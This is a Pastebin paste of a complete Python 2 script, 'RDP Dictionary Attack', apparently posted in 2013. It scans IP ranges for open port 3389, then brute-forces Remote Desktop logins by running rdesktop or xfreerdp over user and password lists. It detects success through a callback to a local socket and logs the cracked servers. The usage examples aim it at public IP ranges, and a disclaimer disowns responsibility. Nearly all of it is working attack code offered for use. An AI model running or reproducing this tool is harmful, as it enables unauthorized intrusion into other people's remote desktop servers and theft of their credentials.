Advertisement
M3GAFAB

[Python] RDP Dictionary Attack

Oct 27th, 2013
1,733
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.28 KB | None | 0 0
  1.  
  2. #megafab.net
  3. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  4.  
  5. ###########################
  6.  
  7. # [Python] RDP Dictionary Attack
  8. # [MrFab] Coded By M3GAFAB.
  9.  
  10. ###########################
  11.  
  12. #! /usr/bin/env python
  13. # RDP Dictionary Attack
  14. # 27.10.2013 megafab.net
  15. #
  16. # THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
  17. # I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM
  18. #
  19. # Connect with rdesktop, xfreerdp or something similar using
  20. # servers, users and passwords from files.
  21. # After checking if the port is opened, the wrapper opens a shell console
  22. # executing the client with data from input files. In the meantime
  23. # a local socket is accepting connections from the target and if the link
  24. # is established then the user and password for that server are a match.
  25. #
  26. # You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp).
  27. # On gentoo based systems use emerge to find and install the newest packages.
  28. # Contact: info@megafab.net
  29.  
  30. from sys import argv, platform
  31. from threading import Thread, active_count, Lock
  32. from subprocess import Popen
  33. from socket import *
  34.  
  35. # defaults
  36. THRD = 4 # how many threads for crack phase
  37. TOUT = 6.0 # timeout in seconds
  38. # get global host ip
  39. try:
  40. sock = socket(AF_INET, SOCK_STREAM)
  41. sock.connect(("www.google.com", 80)) # assuming google works
  42. except error as excp: # error from socket (timed out or invalid server)
  43. print "Check your internet connection: %s." % excp
  44. exit()
  45. else:
  46. HOST = sock.getsockname()[0]
  47. finally:
  48. sock.close()
  49. del sock
  50. PORT = 51337 # used for local listening
  51. # attack modes
  52. RDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
  53. "-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"]
  54. RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
  55. "-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"]
  56. VERB = False # verbose
  57. METH = "r" # RDP1
  58. USER = ["Administrator"]
  59. SAFE = True
  60. SWTC = True
  61. LIMT = None # attacks (test only, None -> unlimited)
  62.  
  63. class Engine:
  64. """Main class used to find and crack servers with desired options.
  65. For more info see usage from the bottom of the script.
  66. It executes commands through subprocess and waits for replies within timeout.
  67. """
  68.  
  69. def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch):
  70. """Copy global options and prepare the core."""
  71. self.cli = True # activate print/stdout (set to False if a GUI is used)
  72. self.threads = threads
  73. self.timeout = timeout
  74. self.host = host
  75. self.port = port
  76. self.rdp1 = rdp1
  77. self.rdp2 = rdp2
  78. self.verbose = verbose
  79. self.sockets = dict() # D[x] = True if x is available otherwise False
  80. self.pos = list() # list with indexes (user, password, server, telnet)
  81. self.usr = usr
  82. self.pwd = None
  83. self.srv = None
  84. # set the command used for scanning
  85. if method == "x":
  86. self.command = self.rdp2
  87. else:
  88. self.command = self.rdp1
  89. # default: don't save
  90. self.working = None
  91. self.cracked = None
  92. self.good = list() # rdp servers
  93. self.delete = set() # dispose of cracked servers
  94. self.lock = Lock() # global printing thread synchronization
  95. self.sock_mutex = Lock() # for localhost socket use
  96. if "linux" in platform:
  97. self.null = open("/dev/null", "w")
  98. else:
  99. self.null = open("NUL", "w")
  100. self.safe = safe
  101. self.switch = switch
  102.  
  103. def __del__(self):
  104. """Destructor."""
  105. if hasattr(self.srv, "close"):
  106. self.srv.close()
  107. if hasattr(self.usr, "close"):
  108. self.usr.close()
  109. if self.pwd:
  110. self.pwd.close()
  111. if self.working:
  112. self.working.close()
  113. if self.cracked:
  114. self.cracked.close()
  115. for sock in self.sockets:
  116. sock.shutdown(SHUT_RDWR)
  117. sock.close()
  118.  
  119. def generator(self, src, dest):
  120. """Just like grandpa's old mileage meter ."""
  121. temp = "%d.%d.%d.%d"
  122. byte = 256
  123. yield temp % tuple(src) # yield -> the beauty of python
  124. while (src != dest): # like return but continue
  125. src[3] += 1
  126. if src[3] == byte:
  127. src[3] = 0
  128. src[2] += 1
  129. if src[2] == byte:
  130. src[2] = 0
  131. src[1] += 1
  132. if src[1] == byte:
  133. src[1] = 0
  134. src[0] += 1
  135. yield temp % tuple(src)
  136.  
  137. def set_threads(self, threads):
  138. self.threads = threads
  139.  
  140. def set_safe(self, safe):
  141. self.safe = safe
  142.  
  143. def set_switch(self, switch):
  144. self.switch = switch
  145.  
  146. def set_timeout(self, timeout):
  147. self.timeout = timeout
  148.  
  149. def set_verbose(self, verbose):
  150. self.verbose = verbose
  151.  
  152. def set_method(self, method):
  153. if method == "x":
  154. self.command = self.rdp2
  155. else:
  156. self.command = self.rdp1
  157.  
  158. def set_usr(self, usr):
  159. """If this is called, then the users are taken from a file."""
  160. self.usr = open(usr, "r") # do not use the generic one
  161.  
  162. def set_pwd(self, pwd):
  163. """The file with passwords is mandatory."""
  164. self.pwd = open(pwd, "r")
  165.  
  166. def set_srv(self, srv):
  167. """Make a file object or range generator from argument."""
  168. if srv.find("-") == -1: # not found -> not range
  169. self.srv = open(srv, "r")
  170. else:
  171. chunks = srv.split("-")
  172. src, dest = chunks[0].split("."), chunks[1].split(".")
  173. for i in xrange(4):
  174. src[i] = int(src[i])
  175. dest[i] = int(dest[i])
  176. self.srv = self.generator(src, dest)
  177.  
  178. def set_working(self, working):
  179. """Save progress in scan phase."""
  180. self.working = open(working, "a") # safe append
  181.  
  182. def set_cracked(self, cracked):
  183. """Save progress in crack phase."""
  184. self.cracked = open(cracked, "a")
  185.  
  186. def scan_server(self, server):
  187. """Check if the rdp port is opened on the specified server."""
  188. try:
  189. # create the socket and connect
  190. sock = socket(AF_INET, SOCK_STREAM)
  191. sock.connect((server, 3389))
  192. except error:
  193. # timed out in most cases
  194. if self.verbose:
  195. self.lock.acquire()
  196. if self.cli:
  197. print "[-] %s [NO]" % server # only with -v
  198. self.lock.release()
  199. else:
  200. # good news everyone
  201. self.lock.acquire()
  202. if self.cli:
  203. print "[+] %s [OK]" % server
  204. self.good.append(server)
  205. if self.working:
  206. self.working.write(server + "\n")
  207. self.working.flush()
  208. self.lock.release()
  209. finally:
  210. sock.close()
  211.  
  212. def scan(self):
  213. """Just like a port scanner for 3389."""
  214. setdefaulttimeout(self.timeout / 10.0) # 10%
  215. for server in self.srv:
  216. while active_count() > self.threads * 16:
  217. pass # do not exceed number of threads
  218. if self.switch: # scan them
  219. # now call the method in a separate thread
  220. Thread(target=self.scan_server, args=[server.strip()]).start()
  221. else: # or skip the scan
  222. self.good.append(server.strip())
  223. while active_count() > 1:
  224. pass # join all
  225.  
  226. def acquire_sock(self):
  227. for sock, state in self.sockets.iteritems():
  228. if state: # available
  229. self.sockets[sock] = False # use it
  230. return sock
  231.  
  232. def release_sock(self, sock):
  233. self.sockets[sock] = True
  234.  
  235. def crack_server(self, command):
  236. try:
  237. # get a server
  238. self.sock_mutex.acquire()
  239. sock = self.acquire_sock()
  240. self.sock_mutex.release()
  241. command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1])
  242. child = Popen(command, stdout=self.null, stderr=self.null) # no wait
  243. sock.accept() # here is the big overhead
  244. except error as excp:
  245. # timed out
  246. if self.verbose:
  247. self.lock.acquire()
  248. if self.cli:
  249. print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]],
  250. command[self.pos[1]])
  251. self.lock.release()
  252. else:
  253. # good news again
  254. show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]])
  255. self.delete.add(command[self.pos[2]]) # cracked! no need to process again
  256. self.lock.acquire()
  257. if self.cli:
  258. print "[+] " + show + " [OK]"
  259. if self.cracked:
  260. self.cracked.write(show + "\n")
  261. self.cracked.flush()
  262. self.lock.release()
  263. finally:
  264. child.kill()
  265. # do not close it, instead release it for further use
  266. self.release_sock(sock) # O(1) and can't affect the same socket
  267.  
  268. def crack(self):
  269. """For each user take each password and test them with each working server."""
  270. goodLen = len(self.good)
  271. if goodLen == 0:
  272. if self.cli:
  273. print "[!] No servers to crack."
  274. return
  275. if self.safe: # avoid deadlocks or strange behavior
  276. self.set_threads(min(self.threads, goodLen))
  277. users = [line.strip() for line in self.usr]
  278. passwords = [line.strip() for line in self.pwd]
  279. if self.cli:
  280. print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) *
  281. goodLen * self.timeout / self.threads)
  282. setdefaulttimeout(self.timeout) # now use the real timeout
  283. # prepare the sockets
  284. for port in xrange(self.threads):
  285. sock = socket(AF_INET, SOCK_STREAM)
  286. sock.settimeout(self.timeout)
  287. sock.bind((self.host, self.port + port))
  288. sock.listen(1)
  289. self.sockets[sock] = True
  290. # init command template
  291. command = self.command
  292. shellIndex = command.index("telnet {host} {port}")
  293. command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}")
  294. self.pos = [command.index("{user}"), command.index("{password}"),
  295. command.index("{server}"), shellIndex]
  296. attacks = 0
  297. for user in users:
  298. command[self.pos[0]] = user
  299. for password in passwords:
  300. command[self.pos[1]] = password
  301. for server in self.good:
  302. command[self.pos[2]] = server
  303. while active_count() > self.threads:
  304. pass # do not exceed number of threads
  305. attacks += 1
  306. if LIMT and attacks > LIMT:
  307. if self.cli:
  308. print "[!] Limit reached, buy the script."
  309. return
  310. # now call the method in a separate thread
  311. Thread(target=self.crack_server, args=[command[:]]).start()
  312. for server in self.delete: # N^2 can be reduced to NlogN with set
  313. self.good.remove(server) # and also to N with index memorization
  314. self.delete.clear()
  315. while active_count() > 1:
  316. pass # join all
  317.  
  318. def parse():
  319. at = 1
  320. params = list()
  321. while at < argc:
  322. if argv[at] in ("-h", "--help"):
  323. print usage
  324. exit() # do not start the process
  325. elif argv[at] in ("-v", "--verbose"):
  326. app.set_verbose(True)
  327. elif argv[at] in ("-t", "--threads"):
  328. at += 1
  329. app.set_threads(int(argv[at]))
  330. elif argv[at] in ("-T", "--timeout"):
  331. at += 1
  332. app.set_timeout(float(argv[at]))
  333. elif argv[at] in ("-m", "--method"):
  334. at += 1
  335. app.set_method(argv[at])
  336. elif argv[at] in ("-w", "--working"):
  337. at += 1
  338. app.set_working(argv[at])
  339. elif argv[at] in ("-c", "--cracked"):
  340. at += 1
  341. app.set_cracked(argv[at])
  342. elif argv[at] in ("-s", "--safe-off"):
  343. app.set_safe(False)
  344. elif argv[at] in ("-n", "--no-scan"):
  345. app.set_switch(False)
  346. else:
  347. if argv[at][0] == "-":
  348. raise Exception("Invalid option")
  349. params.append(argv[at])
  350. at += 1
  351. pLen = len(params)
  352. if pLen not in (2, 3):
  353. raise Exception("Invalid number of parameters")
  354. app.set_srv(params[-1])
  355. app.set_pwd(params[-2])
  356. if pLen == 3:
  357. app.set_usr(params[-3]) # same index as 0
  358.  
  359. def main():
  360. try:
  361. if argc == 1:
  362. # show a message or start the GUI which is missing
  363. print "You should run: %s --help" % argv[0]
  364. exit()
  365. # or parse the arguments
  366. parse()
  367. # and start the scanner
  368. print "[i] Scan phase started."
  369. app.scan() # filter the input for working rdp servers
  370. print "[i] Crack phase started."
  371. app.crack() # crack them
  372. except Exception as excp:
  373. print "[x] Error: %s." % excp
  374. except KeyboardInterrupt:
  375. print "[!] Stopped."
  376. else:
  377. print "[i] Finished."
  378.  
  379. if __name__ == "__main__":
  380. argc = len(argv)
  381. usage = """
  382. Usage: {0} [options] [usr] pwd srv
  383.  
  384. Options:
  385. -t, --threads <number> number of threads (parallel connections)
  386. -s, --safe-off by default the number of threads is reduced
  387. to the number of working servers if it's greater
  388. use this option to keep the number of threads
  389. -T, --timeout <seconds> waiting response time for each connection
  390. -m, --method <r/x> use [r]desktop or [x]freerdp
  391. -w, --working <file> file used to store servers with 3389 opened
  392. -c, --cracked <file> file used to store cracked servers
  393. -n, --no-scan skip scan phase asumming all servers are working rdps
  394. -v, --verbose show extra information (default off)
  395. -h, --help show this help
  396.  
  397. Parameters:
  398. usr users file (default users: {1})
  399. pwd passwords file
  400. srv servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)
  401.  
  402. Examples:
  403. {0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60
  404. {0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15
  405. {0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt
  406.  
  407. Users, passwords and working servers are loaded into memory.
  408. Be aware to not open a file for both read and write. More exactly do not use
  409. the same file name with `-w`/`-c` and `srv`.
  410.  
  411. THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
  412. I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM
  413.  
  414. Send bugs to info@megafab.net.
  415. """.format(argv[0], USER)
  416. app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC)
  417. main()
  418. del app
  419.  
  420. ###########################
  421.  
  422. # Cyberz0ne 2013 - cyberz0ne.net/
  423.  
  424. ###########################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement